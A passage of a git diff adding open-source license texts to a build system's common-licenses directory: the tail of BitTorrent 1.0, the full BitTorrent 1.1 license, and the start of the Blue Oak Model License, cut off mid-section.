+Code of any Modifications you create or to which you contribute, and which you distribute, wherever you describe
+recipients' rights relating to Licensed Product. You must duplicate the notice contained in Exhibit A (the "Notice")
+in each file of the Source Code of any copy you distribute of the Licensed Product. If you created a Modification,
+you may add your name as a Contributor to the Notice. If it is not possible to put the Notice in a particular Source
+Code file due to its structure, then you must include such Notice in a location (such as a relevant directory file)
+where a user would be likely to look for such a notice. You may choose to offer, and charge a fee for, warranty,
+support, indemnity or liability obligations to one or more recipients of Licensed Product. However, you may do so
+only on your own behalf, and not on behalf of the Licensor or any Contributor. You must make it clear that any such
+warranty, support, indemnity or liability obligation is offered by you alone, and you hereby agree to indemnify the
+Licensor and every Contributor for any liability incurred by the Licensor or such Contributor as a result of
+warranty, support, indemnity or liability terms you offer.
+
+e. Distribution of Executable Versions. You may distribute Licensed Product as an executable program under a
+license of your choice that may contain terms different from this License provided (i) you have satisfied the
+requirements of Sections 4(a) through 4(d) for that distribution, (ii) you include a conspicuous notice in the
+executable version, related documentation and collateral materials stating that the Source Code version of the
+Licensed Product is available under the terms of this License, including a description of how and where you have
+fulfilled the obligations of Section 4(b), and (iii) you make it clear that any terms that differ from this License
+are offered by you alone, not by Licensor or any Contributor. You hereby agree to indemnify the Licensor and every
+Contributor for any liability incurred by Licensor or such Contributor as a result of any terms you offer.
+
+f. Distribution of Derivative Works. You may create Derivative Works (e.g., combinations of some or all of the
+Licensed Product with other code) and distribute the Derivative Works as products under any other license you select,
+with the proviso that the requirements of this License are fulfilled for those portions of the Derivative Works that
+consist of the Licensed Product or any Modifications thereto.
+
+
+5. Inability to Comply Due to Statute or Regulation. If it is impossible for you to comply with any of the
+terms of this License with respect to some or all of the Licensed Product due to statute, judicial order, or
+regulation, then you must (i) comply with the terms of this License to the maximum extent possible, (ii) cite the
+statute or regulation that prohibits you from adhering to the License, and (iii) describe the limitations and the
+code they affect. Such description must be included in the LEGAL file described in Section 4(d), and must be included
+with all distributions of the Source Code. Except to the extent prohibited by statute or regulation, such
+description must be sufficiently detailed for a recipient of ordinary skill at computer programming to be able to
+understand it.
+
+
+6. Application of This License. This License applies to code to which Licensor or Contributor has attached the
+Notice in Exhibit A, which is incorporated herein by this reference.
+
+
+7. Versions of This License.
+
+a. New Versions. Licensor may publish from time to time revised and/or new versions of the License.
+
+b. Effect of New Versions. Once Licensed Product has been published under a particular version of the License,
+you may always continue to use it under the terms of that version. You may also choose to use such Licensed Product
+under the terms of any subsequent version of the License published by Licensor. No one other than Licensor has the
+right to modify the terms applicable to Licensed Product created under this License.
+
+c. Derivative Works of this License. If you create or use a modified version of this License, which you may do
+only in order to apply it to software that is not already a Licensed Product under this License, you must rename your
+license so that it is not confusingly similar to this License, and must make it clear that your license contains
+terms that differ from this License. In so naming your license, you may not use any trademark of Licensor or any
+Contributor.
+
+
+8. Disclaimer of Warranty. LICENSED PRODUCT IS PROVIDED UNDER THIS LICENSE ON AN AS IS BASIS, WITHOUT WARRANTY
+OF ANY KIND, EITHER EXPRESS OR IMPLIED, INCLUDING, WITHOUT LIMITATION, WARRANTIES THAT THE LICENSED PRODUCT IS FREE
+OF DEFECTS, MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE OR NON-INFRINGING. THE ENTIRE RISK AS TO THE QUALITY AND
+PERFORMANCE OF THE LICENSED PRODUCT IS WITH YOU. SHOULD LICENSED PRODUCT PROVE DEFECTIVE IN ANY RESPECT, YOU (AND
+NOT THE LICENSOR OR ANY OTHER CONTRIBUTOR) ASSUME THE COST OF ANY NECESSARY SERVICING, REPAIR OR CORRECTION. THIS
+DISCLAIMER OF WARRANTY CONSTITUTES AN ESSENTIAL PART OF THIS LICENSE. NO USE OF LICENSED PRODUCT IS AUTHORIZED
+HEREUNDER EXCEPT UNDER THIS DISCLAIMER.
+
+
+9. Termination.
+
+a. Automatic Termination Upon Breach. This license and the rights granted hereunder will terminate
+automatically if you fail to comply with the terms herein and fail to cure such breach within thirty (30) days of
+becoming aware of the breach. All sublicenses to the Licensed Product that are properly granted shall survive any
+termination of this license. Provisions that, by their nature, must remain in effect beyond the termination of this
+License, shall survive.
+
+b. Termination Upon Assertion of Patent Infringement. If you initiate litigation by asserting a patent
+infringement claim (excluding declaratory judgment actions) against Licensor or a Contributor (Licensor or
+Contributor against whom you file such an action is referred to herein as Respondent) alleging that Licensed Product
+directly or indirectly infringes any patent, then any and all rights granted by such Respondent to you under Sections
+1 or 2 of this License shall terminate prospectively upon sixty (60) days notice from Respondent (the "Notice
+Period") unless within that Notice Period you either agree in writing (i) to pay Respondent a mutually agreeable
+reasonably royalty for your past or future use of Licensed Product made by such Respondent, or (ii) withdraw your
+litigation claim with respect to Licensed Product against such Respondent. If within said Notice Period a reasonable
+royalty and payment arrangement are not mutually agreed upon in writing by the parties or the litigation claim is not
+withdrawn, the rights granted by Licensor to you under Sections 1 and 2 automatically terminate at the expiration of
+said Notice Period.
+
+c. Reasonable Value of This License. If you assert a patent infringement claim against Respondent alleging
+that Licensed Product directly or indirectly infringes any patent where such claim is resolved (such as by license or
+settlement) prior to the initiation of patent infringement litigation, then the reasonable value of the licenses
+granted by said Respondent under Sections 1 and 2 shall be taken into account in determining the amount or value of
+any payment or license.
+
+d. No Retroactive Effect of Termination. In the event of termination under Sections 9(a) or 9(b) above, all
+end user license agreements (excluding licenses to distributors and resellers) that have been validly granted by you
+or any distributor hereunder prior to termination shall survive termination.
+
+
+10. Limitation of Liability. UNDER NO CIRCUMSTANCES AND UNDER NO LEGAL THEORY, WHETHER TORT (INCLUDING NEGLIGENCE),
+CONTRACT, OR OTHERWISE, SHALL THE LICENSOR, ANY CONTRIBUTOR, OR ANY DISTRIBUTOR OF LICENSED PRODUCT, OR ANY SUPPLIER
+OF ANY OF SUCH PARTIES, BE LIABLE TO ANY PERSON FOR ANY INDIRECT, SPECIAL, INCIDENTAL, OR CONSEQUENTIAL DAMAGES OF
+ANY CHARACTER INCLUDING, WITHOUT LIMITATION, DAMAGES FOR LOSS OF GOODWILL, WORK STOPPAGE, COMPUTER FAILURE OR
+MALFUNCTION, OR ANY AND ALL OTHER COMMERCIAL DAMAGES OR LOSSES, EVEN IF SUCH PARTY SHALL HAVE BEEN INFORMED OF THE
+POSSIBILITY OF SUCH DAMAGES. THIS LIMITATION OF LIABILITY SHALL NOT APPLY TO LIABILITY FOR DEATH OR PERSONAL INJURY
+RESULTING FROM SUCH PARTYS NEGLIGENCE TO THE EXTENT APPLICABLE LAW PROHIBITS SUCH LIMITATION. SOME JURISDICTIONS DO
+NOT ALLOW THE EXCLUSION OR LIMITATION OF INCIDENTAL OR CONSEQUENTIAL DAMAGES, SO THIS EXCLUSION AND LIMITATION MAY
+NOT APPLY TO YOU.
+
+
+11. Responsibility for Claims. As between Licensor and Contributors, each party is responsible for claims and
+damages arising, directly or indirectly, out of its utilization of rights under this License. You agree to work with
+Licensor and Contributors to distribute such responsibility on an equitable basis. Nothing herein is intended or
+shall be deemed to constitute any admission of liability.
+
+
+12. U.S. Government End Users. The Licensed Product is a commercial item, as that term is defined in 48 C.F.R.
+2.101 (Oct. 1995), consisting of commercial computer software and commercial computer software documentation, as such
+terms are used in 48 C.F.R. 12.212 (Sept. 1995). Consistent with 48 C.F.R. 12.212 and 48 C.F.R. 227.7202-1 through
+227.7202-4 (June 1995), all U.S. Government End Users acquire Licensed Product with only those rights set forth
+herein.
+
+
+13. Miscellaneous. This License represents the complete agreement concerning the subject matter hereof. If any
+provision of this License is held to be unenforceable, such provision shall be reformed only to the extent necessary
+to make it enforceable. This License shall be governed by California law provisions (except to the extent applicable
+law, if any, provides otherwise), excluding its conflict-of-law provisions. You expressly agree that any litigation
+relating to this license shall be subject to the jurisdiction of the Federal Courts of the Northern District of
+California or the Superior Court of the County of Santa Clara, California (as appropriate), with venue lying in Santa
+Clara County, California, with the losing party responsible for costs including, without limitation, court costs and
+reasonable attorneys fees and expenses. The application of the United Nations Convention on Contracts for the
+International Sale of Goods is expressly excluded. You and Licensor expressly waive any rights to a jury trial in
+any litigation concerning Licensed Product or this License. Any law or regulation that provides that the language of
+a contract shall be construed against the drafter shall not apply to this License.
+
+
+14. Definition of You in This License. You throughout this License, whether in upper or lower case, means an
+individual or a legal entity exercising rights under, and complying with all of the terms of, this License or a
+future version of this License issued under Section 7. For legal entities, you includes any entity that controls, is
+controlled by, or is under common control with you. For purposes of this definition, control means (i) the power,
+direct or indirect, to cause the direction or management of such entity, whether by contract or otherwise, or (ii)
+ownership of fifty percent (50%) or more of the outstanding shares, or (iii) beneficial ownership of such entity.
+
+
+15. Glossary. All defined terms in this License that are used in more than one Section of this License are repeated
+here, in alphabetical order, for the convenience of the reader. The Section of this License in which each defined
+term is first used is shown in parentheses.
+
+Contributor: Each person or entity who created or contributed to the creation of, and distributed, a Modification.
+(See Section 2)
+
+Derivative Works: That term as used in this License is defined under U.S. copyright law. (See Section 1(b))
+
+License: This BitTorrent Open Source License. (See first paragraph of License)
+
+Licensed Product: Any BitTorrent Product licensed pursuant to this License. The term "Licensed Product" includes
+all previous Modifications from any Contributor that you receive. (See first paragraph of License and Section 2)
+
+Licensor: BitTorrent, Inc. (See first paragraph of License)
+
+Modifications: Any additions to or deletions from the substance or structure of (i) a file containing Licensed
+Product, or (ii) any new file that contains any part of Licensed Product. (See Section 2)
+
+Notice: The notice contained in Exhibit A. (See Section 4(e))
+
+Source Code: The preferred form for making modifications to the Licensed Product, including all modules contained
+therein, plus any associated interface definition files, scripts used to control compilation and installation of an
+executable program, or a list of differential comparisons against the Source Code of the Licensed Product. (See
+Section 1(a))
+
+You: This term is defined in Section 14 of this License.
+
+
+EXHIBIT A
+
+The Notice below must appear in each file of the Source Code of any copy you distribute of the Licensed Product or
+any hereto. Contributors to any Modifications may add their own copyright notices to identify their own
+contributions.
+
+License:
+
+The contents of this file are subject to the BitTorrent Open Source License Version 1.0 (the License). You may not
+copy or use this file, in either source code or executable form, except in compliance with the License. You may
+obtain a copy of the License at http://www.bittorrent.com/license/.
+
+Software distributed under the License is distributed on an AS IS basis, WITHOUT WARRANTY OF ANY KIND, either express
+or implied. See the License for the specific language governing rights and limitations under the License.
diff --git a/meta/files/common-licenses/BitTorrent-1.1 b/meta/files/common-licenses/BitTorrent-1.1
new file mode 100644
index 0000000000..fa5bd9df24
--- /dev/null
+++ b/meta/files/common-licenses/BitTorrent-1.1
@@ -0,0 +1,137 @@
+BitTorrent Open Source License
+Version 1.1
+
+This BitTorrent Open Source License (the "License") applies to the BitTorrent client and related software products as well as any updates or maintenance releases of that software ("BitTorrent Products") that are distributed by BitTorrent, Inc. ("Licensor"). Any BitTorrent Product licensed pursuant to this License is a Licensed Product. Licensed Product, in its entirety, is protected by U.S. copyright law. This License identifies the terms under which you may use, copy, distribute or modify Licensed Product.
+
+Preamble
+
+This Preamble is intended to describe, in plain English, the nature and scope of this License. However, this Preamble is not a part of this license. The legal effect of this License is dependent only upon the terms of the License and not this Preamble.
+
+This License complies with the Open Source Definition and is derived from the Jabber Open Source License 1.0 (the "JOSL"), which has been approved by Open Source Initiative. Sections 4(c) and 4(f)(iii) from the JOSL have been deleted.
+
+This License provides that:
+
+1. You may use or give away the Licensed Product, alone or as a component of an aggregate software distribution containing programs from several different sources. No royalty or other fee is required.
+
+2. Both Source Code and executable versions of the Licensed Product, including Modifications made by previous Contributors, are available for your use. (The terms "Licensed Product," "Modifications," "Contributors" and "Source Code" are defined in the License.)
+
+3. You are allowed to make Modifications to the Licensed Product, and you can create Derivative Works from it. (The term "Derivative Works" is defined in the License.)
+
+4. By accepting the Licensed Product under the provisions of this License, you agree that any Modifications you make to the Licensed Product and then distribute are governed by the provisions of this License. In particular, you must make the Source Code of your Modifications available to others free of charge and without a royalty.
+
+5. You may sell, accept donations or otherwise receive compensation for executable versions of a Licensed Product, without paying a royalty or other fee to the Licensor or any Contributor, provided that such executable versions contain your or another Contributor's material Modifications. For the avoidance of doubt, to the extent your executable version of a Licensed Product does not contain your or another Contributor's material Modifications, you may not sell, accept donations or otherwise receive compensation for such executable.
+
+You may use the Licensed Product for any purpose, but the Licensor is not providing you any warranty whatsoever, nor is the Licensor accepting any liability in the event that the Licensed Product doesn't work properly or causes you any injury or damages.
+
+6. If you sublicense the Licensed Product or Derivative Works, you may charge fees for warranty or support, or for accepting indemnity or liability obligations to your customers. You cannot charge for, sell, accept donations or otherwise receive compensation for the Source Code.
+
+7. If you assert any patent claims against the Licensor relating to the Licensed Product, or if you breach any terms of the License, your rights to the Licensed Product under this License automatically terminate.
+You may use this License to distribute your own Derivative Works, in which case the provisions of this License will apply to your Derivative Works just as they do to the original Licensed Product.
+
+Alternatively, you may distribute your Derivative Works under any other OSI-approved Open Source license, or under a proprietary license of your choice. If you use any license other than this License, however, you must continue to fulfill the requirements of this License (including the provisions relating to publishing the Source Code) for those portions of your Derivative Works that consist of the Licensed Product, including the files containing
+Modifications.
+
+New versions of this License may be published from time to time in connection with new versions of a Licensed Product or otherwise. You may choose to continue to use the license terms in this version of the License for the Licensed Product that was originally licensed hereunder, however, the new versions of this License will at all times apply to new versions of the Licensed Product released by Licensor after the release of the new version of this License. Only the Licensor has the right to change the License terms as they apply to the Licensed Product.
+
+This License relies on precise definitions for certain terms. Those terms are defined when they are first used, and the definitions are repeated for your convenience in a Glossary at the end of the License.
+
+License Terms
+
+1. Grant of License From Licensor. Subject to the terms and conditions of this License, Licensor hereby grants you a world-wide, royalty-free, non-exclusive license, subject to third party intellectual property claims, to do the following:
+
+ a. Use, reproduce, modify, display, perform, sublicense and distribute any Modifications created by a Contributor or portions thereof, in both Source Code or as an executable program, either on an unmodified basis or as part of Derivative Works.
+ b. Under claims of patents now or hereafter owned or controlled by Contributor, to make, use, sell, offer for sale, have made, and/or otherwise dispose of Modifications or portions thereof, but solely to the extent that any such claim is necessary to enable you to make, use, sell, offer for sale, have made, and/or otherwise dispose of Modifications or portions thereof or Derivative Works thereof.
+
+2. Grant of License to Modifications From Contributor. "Modifications" means any additions to or deletions from the substance or structure of (i) a file containing a Licensed Product, or (ii) any new file that contains any part of a Licensed Product. Hereinafter in this License, the term "Licensed Product" shall include all previous Modifications that you receive from any Contributor. Subject to the terms and conditions of this License, By application of the provisions in Section 4(a) below, each person or entity who created or contributed to the creation of, and distributed, a Modification (a "Contributor") hereby grants you a world-wide, royalty-free, non-exclusive license, subject to third party intellectual property claims, to do the following:
+
+ a. Use, reproduce, modify, display, perform, sublicense and distribute any Modifications created by such Contributor or portions thereof, in both Source Code or as an executable program, either on an unmodified basis or as part of Derivative Works.
+
+ b. Under claims of patents now or hereafter owned or controlled by Contributor, to make, use, sell, offer for sale, have made, and/or otherwise dispose of Modifications or portions thereof, but solely to the extent that any such claim is necessary to enable you to make, use, sell, offer for sale, have made, and/or otherwise dispose of Modifications or portions thereof or Derivative Works thereof.
+
+3. Exclusions From License Grant. Nothing in this License shall be deemed to grant any rights to trademarks, copyrights, patents, trade secrets or any other intellectual property of Licensor or any Contributor except as expressly stated herein. No patent license is granted separate from the Licensed Product, for code that you delete from the Licensed Product, or for combinations of the Licensed Product with other software or hardware. No right is granted to the trademarks of Licensor or any Contributor even if such marks are included in the Licensed Product. Nothing in this License shall be interpreted to prohibit Licensor from licensing under different terms from this License any code that Licensor otherwise would have a right to license. As an express condition for your use of the Licensed Product, you hereby agree that you will not, without the prior written consent of Licensor, use any trademarks, copyrights, patents, trade secrets or any other intellectual property of Licensor or any Contributor except as expressly stated herein. For the avoidance of doubt and without limiting the foregoing, you hereby agree that you will not use or display any trademark of Licensor or any Contributor in any domain name, directory filepath, advertisement, link or other reference to you in any manner or in any media.
+
+4. Your Obligations Regarding Distribution.
+
+ a. Application of This License to Your Modifications. As an express condition for your use of the Licensed Product, you hereby agree that any Modifications that you create or to which you contribute, and which you distribute, are governed by the terms of this License including, without limitation, Section 2. Any Modifications that you create or to which you contribute may be distributed only under the terms of this License or a future version of this License released under Section 7. You must include a copy of this License with every copy of the Modifications you distribute. You agree not to offer or impose any terms on any Source Code or executable version of the Licensed Product or Modifications that alter or restrict the applicable version of this License or the recipients' rights hereunder. However, you may include an additional document offering the additional rights described in Section 4(d).
+
+ b. Availability of Source Code. You must make available, without charge, under the terms of this License, the Source Code of the Licensed Product and any Modifications that you distribute, either on the same media as you distribute any executable or other form of the Licensed Product, or via a mechanism generally accepted in the software development community for the electronic transfer of data (an "Electronic Distribution Mechanism"). The Source Code for any version of Licensed Product or Modifications that you distribute must remain available for as long as any executable or other form of the Licensed Product is distributed by you. You are responsible for ensuring that the Source Code version remains available even if the Electronic Distribution Mechanism is maintained by a third party.
+
+ c. Intellectual Property Matters.
+
+ i. Third Party Claims. If you have knowledge that a license to a third party's intellectual property right is required to exercise the rights granted by this License, you must include a text file with the Source Code distribution titled "LEGAL" that describes the claim and the party making the claim in sufficient detail that a recipient will know whom to contact. If you obtain such knowledge after you make any Modifications available as described in Section 4(b), you shall promptly modify the LEGAL file in all copies you make available thereafter and shall take other steps (such as notifying appropriate mailing lists or newsgroups) reasonably calculated to inform those who received the Licensed Product from you that new knowledge has been obtained.
+ ii. Contributor APIs. If your Modifications include an application programming interface ("API") and you have knowledge of patent licenses that are reasonably necessary to implement that API, you must also include this information in the LEGAL file.
+ iii. Representations. You represent that, except as disclosed pursuant to 4(c)(i) above, you believe that any Modifications you distribute are your original creations and that you have sufficient rights to grant the rights conveyed by this License.
+
+ d. Required Notices. You must duplicate this License in any documentation you provide along with the Source Code of any Modifications you create or to which you contribute, and which you distribute, wherever you describe recipients' rights relating to Licensed Product. You must duplicate the notice contained in Exhibit A (the "Notice") in each file of the Source Code of any copy you distribute of the Licensed Product. If you created a Modification, you may add your name as a Contributor to the Notice. If it is not possible to put the Notice in a particular Source Code file due to its structure, then you must include such Notice in a location (such as a relevant directory file) where a user would be likely to look for such a notice. You may choose to offer, and charge a fee for, warranty, support, indemnity or liability obligations to one or more recipients of Licensed Product. However, you may do so only on your own behalf, and not on behalf of the Licensor or any Contributor. You must make it clear that any such warranty, support, indemnity or liability obligation is offered by you alone, and you hereby agree to indemnify the Licensor and every Contributor for any liability incurred by the Licensor or such Contributor as a result of warranty, support, indemnity or liability terms you offer.
+
+ e. Distribution of Executable Versions. You may distribute Licensed Product as an executable program under a license of your choice that may contain terms different from this License provided (i) you have satisfied the requirements of Sections 4(a) through 4(d) for that distribution, (ii) you include a conspicuous notice in the executable version, related documentation and collateral materials stating that the Source Code version of the Licensed Product is available under the terms of this License, including a description of how and where you have fulfilled the obligations of Section 4(b), and (iii) you make it clear that any terms that differ from this License are offered by you alone, not by Licensor or any Contributor. You hereby agree to indemnify the Licensor and every Contributor for any liability incurred by Licensor or such Contributor as a result of any terms you offer.
+
+ f. Distribution of Derivative Works. You may create Derivative Works (e.g., combinations of some or all of the Licensed Product with other code) and distribute the Derivative Works as products under any other license you select, with the proviso that the requirements of this License are fulfilled for those portions of the Derivative Works that consist of the Licensed Product or any Modifications thereto.
+
+ g. Compensation for Distribution of Executable Versions of Licensed Products, Modifications or Derivative Works. Notwithstanding any provision of this License to the contrary, by distributing, selling, licensing, sublicensing or otherwise making available any Licensed Product, or Modification or Derivative Work thereof, you and Licensor hereby acknowledge and agree that you may sell, license or sublicense for a fee, accept donations or otherwise receive compensation for executable versions of a Licensed Product, without paying a royalty or other fee to the Licensor or any other Contributor, provided that such executable versions (i) contain your or another Contributor's material Modifications, or (ii) are otherwise material Derivative Works. For purposes of this License, an executable version of the Licensed Product will be deemed to contain a material Modification, or will otherwise be deemed a material Derivative Work, if (a) the Licensed Product is modified with your own or a third party's software programs or other code, and/or the Licensed Product is combined with a number of your own or a third party's software programs or code, respectively, and (b) such software programs or code add or contribute material value, functionality or features to the License Product. For the avoidance of doubt, to the extent your executable version of a Licensed Product does not contain your or another Contributor's material Modifications or is otherwise not a material Derivative Work, in each case as contemplated herein, you may not sell, license or sublicense for a fee, accept donations or otherwise receive compensation for such executable. Additionally, without limitation of the foregoing and notwithstanding any provision of this License to the contrary, you cannot charge for, sell, license or sublicense for a fee, accept donations or otherwise receive compensation for the Source Code.
+
+5. Inability to Comply Due to Statute or Regulation. If it is impossible for you to comply with any of the terms of this License with respect to some or all of the Licensed Product due to statute, judicial order, or regulation, then you must (i) comply with the terms of this License to the maximum extent possible, (ii) cite the statute or regulation that prohibits you from adhering to the License, and (iii) describe the limitations and the code they affect. Such description must be included in the LEGAL file described in Section 4(d), and must be included with all distributions of the Source Code. Except to the extent prohibited by statute or regulation, such description must be sufficiently detailed for a recipient of ordinary skill at computer programming to be able to understand it.
+
+6. Application of This License. This License applies to code to which Licensor or Contributor has attached the Notice in Exhibit A, which is incorporated herein by this reference.
+
+7. Versions of This License.
+
+ a. New Versions. Licensor may publish from time to time revised and/or new versions of the License.
+
+ b. Effect of New Versions. Once Licensed Product has been published under a particular version of the License, you may always continue to use it under the terms of that version, provided that any such license be in full force and effect at the time, and has not been revoked or otherwise terminated. You may also choose to use such Licensed Product under the terms of any subsequent version (but not any prior version) of the License published by Licensor. No one other than Licensor has the right to modify the terms applicable to Licensed Product created under this License.
+
+ c. Derivative Works of this License. If you create or use a modified version of this License, which you may do only in order to apply it to software that is not already a Licensed Product under this License, you must rename your license so that it is not confusingly similar to this License, and must make it clear that your license contains terms that differ from this License. In so naming your license, you may not use any trademark of Licensor or any Contributor.
+
+8. Disclaimer of Warranty. LICENSED PRODUCT IS PROVIDED UNDER THIS LICENSE ON AN AS IS BASIS, WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESS OR IMPLIED, INCLUDING, WITHOUT LIMITATION, WARRANTIES THAT THE LICENSED PRODUCT IS FREE OF DEFECTS, MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE OR NON-INFRINGING. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE LICENSED PRODUCT IS WITH YOU. SHOULD LICENSED PRODUCT PROVE DEFECTIVE IN ANY RESPECT, YOU (AND NOT THE LICENSOR OR ANY OTHER CONTRIBUTOR) ASSUME THE COST OF ANY NECESSARY SERVICING, REPAIR OR CORRECTION. THIS DISCLAIMER OF WARRANTY CONSTITUTES AN ESSENTIAL PART OF THIS LICENSE. NO USE OF LICENSED PRODUCT IS AUTHORIZED HEREUNDER EXCEPT UNDER THIS DISCLAIMER.
+
+9. Termination.
+
+ a. Automatic Termination Upon Breach. This license and the rights granted hereunder will terminate automatically if you fail to comply with the terms herein and fail to cure such breach within ten (10) days of being notified of the breach by the Licensor. For purposes of this provision, proof of delivery via email to the address listed in the 'WHOIS' database of the registrar for any website through which you distribute or market any Licensed Product, or to any alternate email address which you designate in writing to the Licensor, shall constitute sufficient notification. All sublicenses to the Licensed Product that are properly granted shall survive any termination of this license so long as they continue to complye with the terms of this License. Provisions that, by their nature, must remain in effect beyond the termination of this License, shall survive.
+
+ b. Termination Upon Assertion of Patent Infringement. If you initiate litigation by asserting a patent infringement claim (excluding declaratory judgment actions) against Licensor or a Contributor (Licensor or Contributor against whom you file such an action is referred to herein as Respondent) alleging that Licensed Product directly or indirectly infringes any patent, then any and all rights granted by such Respondent to you under Sections 1 or 2 of this License shall terminate prospectively upon sixty (60) days notice from Respondent (the "Notice Period") unless within that Notice Period you either agree in writing (i) to pay Respondent a mutually agreeable reasonably royalty for your past or future use of Licensed Product made by such Respondent, or (ii) withdraw your litigation claim with respect to Licensed Product against such Respondent. If within said Notice Period a reasonable royalty and payment arrangement are not mutually agreed upon in writing by the parties or the litigation claim is not withdrawn, the rights granted by Licensor to you under Sections 1 and 2 automatically terminate at the expiration of said Notice Period.
+
+ c. Reasonable Value of This License. If you assert a patent infringement claim against Respondent alleging that Licensed Product directly or indirectly infringes any patent where such claim is resolved (such as by license or settlement) prior to the initiation of patent infringement litigation, then the reasonable value of the licenses granted by said Respondent under Sections 1 and 2 shall be taken into account in determining the amount or value of any payment or license.
+
+ d. No Retroactive Effect of Termination. In the event of termination under Sections 9(a) or 9(b) above, all end user license agreements (excluding licenses to distributors and resellers) that have been validly granted by you or any distributor hereunder prior to termination shall survive termination.
+
+10. Limitation of Liability. UNDER NO CIRCUMSTANCES AND UNDER NO LEGAL THEORY, WHETHER TORT (INCLUDING NEGLIGENCE), CONTRACT, OR OTHERWISE, SHALL THE LICENSOR, ANY CONTRIBUTOR, OR ANY DISTRIBUTOR OF LICENSED PRODUCT, OR ANY SUPPLIER OF ANY OF SUCH PARTIES, BE LIABLE TO ANY PERSON FOR ANY INDIRECT, SPECIAL, INCIDENTAL, OR CONSEQUENTIAL DAMAGES OF ANY CHARACTER INCLUDING, WITHOUT LIMITATION, DAMAGES FOR LOSS OF GOODWILL, WORK STOPPAGE, COMPUTER FAILURE OR MALFUNCTION, OR ANY AND ALL OTHER COMMERCIAL DAMAGES OR LOSSES, EVEN IF SUCH PARTY SHALL HAVE BEEN INFORMED OF THE POSSIBILITY OF SUCH DAMAGES. THIS LIMITATION OF LIABILITY SHALL NOT APPLY TO LIABILITY FOR DEATH OR PERSONAL INJURY RESULTING FROM SUCH PARTYS NEGLIGENCE TO THE EXTENT APPLICABLE LAW PROHIBITS SUCH LIMITATION. SOME JURISDICTIONS DO NOT ALLOW THE EXCLUSION OR LIMITATION OF INCIDENTAL OR CONSEQUENTIAL DAMAGES, SO THIS EXCLUSION AND LIMITATION MAY NOT APPLY TO YOU.
+
+11. Responsibility for Claims. As between Licensor and Contributors, each party is responsible for claims and damages arising, directly or indirectly, out of its utilization of rights under this License. You agree to work with Licensor and Contributors to distribute such responsibility on an equitable basis. Nothing herein is intended or shall be deemed to constitute any admission of liability.
+
+12. U.S. Government End Users. The Licensed Product is a commercial item, as that term is defined in 48 C.F.R. 2.101 (Oct. 1995), consisting of commercial computer software and commercial computer software documentation, as such terms are used in 48 C.F.R. 12.212 (Sept. 1995). Consistent with 48 C.F.R. 12.212 and 48 C.F.R. 227.7202-1 through 227.7202-4 (June 1995), all U.S. Government End Users acquire Licensed Product with only those rights set forth herein.
+
+13. Miscellaneous. This License represents the complete agreement concerning the subject matter hereof. If any provision of this License is held to be unenforceable, such provision shall be reformed only to the extent necessary to make it enforceable. This License shall be governed by California law provisions (except to the extent applicable law, if any, provides otherwise), excluding its conflict-of-law provisions. You expressly agree that in any litigation relating to this license the losing party shall be responsible for costs including, without limitation, court costs and reasonable attorneys fees and expenses. The application of the United Nations Convention on Contracts for the International Sale of Goods is expressly excluded. Any law or regulation that provides that the language of a contract shall be construed against the drafter shall not apply to this License.
+
+14. Definition of You in This License. You throughout this License, whether in upper or lower case, means an individual or a legal entity exercising rights under, and complying with all of the terms of, this License or a future version of this License issued under Section 7. For legal entities, you includes any entity that controls, is controlled by, is under common control with, or affiliated with, you. For purposes of this definition, control means (i) the power, direct or indirect, to cause the direction or management of such entity, whether by contract or otherwise, or (ii) ownership of fifty percent (50%) or more of the outstanding shares, or (iii) beneficial ownership of such entity. You are responsible for advising any affiliated entity of the terms of this License, and that any rights or privileges derived from or obtained by way of this License are subject to the restrictions outlined herein.
+
+15. Glossary. All defined terms in this License that are used in more than one Section of this License are repeated here, in alphabetical order, for the convenience of the reader. The Section of this License in which each defined term is first used is shown in parentheses.
+
+Contributor: Each person or entity who created or contributed to the creation of, and distributed, a Modification. (See Section 2)
+
+Derivative Works: That term as used in this License is defined under U.S. copyright law. (See Section 1(b))
+
+License: This BitTorrent Open Source License. (See first paragraph of License)
+
+Licensed Product: Any BitTorrent Product licensed pursuant to this License. The term "Licensed Product" includes all previous Modifications from any Contributor that you receive. (See first paragraph of License and Section 2)
+
+Licensor: BitTorrent, Inc. (See first paragraph of License)
+
+Modifications: Any additions to or deletions from the substance or structure of (i) a file containing Licensed
+Product, or (ii) any new file that contains any part of Licensed Product. (See Section 2)
+
+Notice: The notice contained in Exhibit A. (See Section 4(e))
+
+Source Code: The preferred form for making modifications to the Licensed Product, including all modules contained therein, plus any associated interface definition files, scripts used to control compilation and installation of an executable program, or a list of differential comparisons against the Source Code of the Licensed Product. (See Section 1(a))
+
+You: This term is defined in Section 14 of this License.
+
+EXHIBIT A
+
+The Notice below must appear in each file of the Source Code of any copy you distribute of the Licensed Product or any hereto. Contributors to any Modifications may add their own copyright notices to identify their own contributions.
+
+License:
+The contents of this file are subject to the BitTorrent Open Source License Version 1.0 (the License). You may not copy or use this file, in either source code or executable form, except in compliance with the License. You may obtain a copy of the License at http://www.bittorrent.com/license/.
+
+Software distributed under the License is distributed on an AS IS basis, WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License for the specific language governing rights and limitations under the License.
+
+BitTorrent, Inc.
diff --git a/meta/files/common-licenses/BlueOak-1.0.0 b/meta/files/common-licenses/BlueOak-1.0.0
new file mode 100644
index 0000000000..c5402b9577
--- /dev/null
+++ b/meta/files/common-licenses/BlueOak-1.0.0
@@ -0,0 +1,55 @@
+# Blue Oak Model License
+
+Version 1.0.0
+
+## Purpose
+
+This license gives everyone as much permission to work with
+this software as possible, while protecting contributors
+from liability.
+
+## Acceptance
+
+In order to receive this license, you must agree to its
+rules. The rules of this license are both obligations
+under that agreement and conditions to your license.
+You must not do anything with this software that triggers
+a rule that you cannot or will not follow.
+
+## Copyright
+
+Each contributor licenses you to do everything with this
+software that would otherwise infringe that contributor's
+copyright in it.
+
+## Notices
+
+You must ensure that everyone who gets a copy of
+any part of this software from you, with or without
+changes, also gets the text of this license or a link to
+<https://blueoakcouncil.org/license/1.0.0>.
+
+## Excuse
+
+If anyone notifies you in writing that you have not
+complied with [Notices](#notices), you can keep your
+license by taking all practical steps to comply within 30
+days after the notice. If you do not do so, your license
+ends immediately.
+
+## Patent
+
+Each contributor licenses you to do everything with this
+software that would otherwise infringe any patent claims
+they can license or become able to license.
+
+## Reliability
+
+No contributor can revoke this license.
+
+## No Liability
+
+***As far as the law allows, this software comes as is,
